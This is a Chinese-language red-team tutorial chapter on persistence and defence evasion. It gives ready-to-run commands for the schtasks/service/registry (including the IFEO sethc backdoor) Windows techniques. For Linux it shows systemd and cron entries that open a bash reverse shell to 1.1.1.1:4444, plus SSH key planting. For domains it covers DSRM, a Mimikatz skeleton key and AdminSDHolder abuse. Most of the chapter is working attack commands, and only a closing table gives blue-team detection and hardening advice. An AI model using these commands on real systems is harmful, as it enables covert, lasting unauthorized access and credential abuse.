第四部分:持久化与防御规避

第四部分:持久化与防御规避 第九章权限维持核心逻辑权限维持Persistence是红队在目标网络中建立长期立足点的关键。本章重点在于利用系统合法机制进行驻留确保在系统重启、密码更改或漏洞修复后仍能重新获得访问权限。9.1 Windows 权限维持9.1.1 计划任务 (Scheduled Tasks)原理利用 Windows Task Scheduler 在特定时间或事件下执行恶意载荷。优势稳定、隐蔽、权限高。类型命令示例特点创建任务​schtasks /create /sc minute /mo 1 /tn WindowsUpdate /tr C:\temp\loader.exe /ru SYSTEM每分钟执行一次SYSTEM 权限。XML 配置​schtasks /create /xml task.xml /tn GoogleUpdate使用 XML 文件精细控制触发器如用户登录。COM 劫持​修改HKCU\Software\Classes\CLSID\{...}\InprocServer32当特定程序调用 COM 组件时触发。9.1.2 服务 (Services)原理将恶意程序注册为系统服务。类型命令示例特点创建服务​sc create WindowsDefender binPath C:\temp\loader.exe start auto开机自启SYSTEM 权限。修改服务​sc config Spooler binPath C:\temp\loader.exe劫持合法服务危险易导致系统故障。9.1.3 注册表 (Registry)原理利用系统启动项或文件关联执行。位置说明命令示例Run Keys​用户登录时执行。reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Updater /t REG_SZ /d C:\temp\loader.exeWinlogon Helper​登录/注销时执行。reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v Userinit /d userinit.exe,C:\temp\loader.exeImage File Execution Options (IFEO)​调试器劫持如sethc.exe粘滞键后门。reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe /v Debugger /t REG_SZ /d cmd.exe9.2 Linux 权限维持9.2.1 Systemd Services原理现代 Linux 发行版的标准初始化系统。# 1. 创建服务文件 cat /etc/systemd/system/systemd-update.service EOF [Unit] DescriptionSystem Update Service Afternetwork.target [Service] Typesimple ExecStart/bin/bash -c bash -i /dev/tcp/1.1.1.1/4444 01 Restartalways RestartSec60 [Install] WantedBymulti-user.target EOF # 2. 启用并启动 systemctl daemon-reload systemctl enable systemd-update.service systemctl start systemd-update.service9.2.2 Cron Jobs原理定时任务最经典的维持方式。位置说明/etc/crontab系统级定时任务。/var/spool/cron/rootRoot 用户任务。reboot系统重启时执行。# 每5分钟反弹一次 Shell echo */5 * * * * root bash -c bash -i /dev/tcp/1.1.1.1/4444 01 /etc/crontab9.2.3 SSH 公钥植入原理无需密码直接登录。# 将公钥写入 authorized_keys mkdir -p /root/.ssh echo ssh-rsa AAAA... your_key /root/.ssh/authorized_keys chmod 700 /root/.ssh chmod 600 /root/.ssh/authorized_keys9.3 域环境权限维持9.3.1 DSRM (Directory Services Restore Mode)原理利用域控的还原模式账户本地 Administrator进行维持。操作获取 DSRM 密码通常与域管理员相同。修改注册表允许 DSRM 账户远程登录。使用 DSRM 账户登录域控即使域管理员密码更改也有效。9.3.2 Skeleton Key (万能钥匙)原理在域控内存中注入一个“万能密码”允许使用任意用户名 万能密码登录。工具Mimikatz。命令mimikatz # !processprotect /process:lsass.exe /remove-mimikatz # misc::skeleton9.3.3 AdminSDHolder原理修改 AdminSDHolder 容器的 ACL赋予特定用户域管权限。系统每 60 分钟会自动同步一次将该权限应用到所有受保护的域管组。9.4 防御视角给蓝队技术检测方法加固建议计划任务​schtasks /query /fo LIST /v检查异常任务名、路径、作者。限制普通用户创建任务监控 Task Scheduler 日志。服务​sc query检查binPath是否指向异常目录。启用服务变更审计限制非系统服务路径。注册表​Autoruns (Sysinternals)扫描 Run Keys 和 IFEO。限制注册表编辑权限启用 Sysmon 监控注册表事件。SSH 公钥​定期检查~/.ssh/authorized_keys。使用 SSH 证书认证禁用密码登录。域环境​Event ID 4662目录服务访问。Event ID 5136目录服务对象修改。定期重置 DSRM 密码监控 LSASS 内存异常。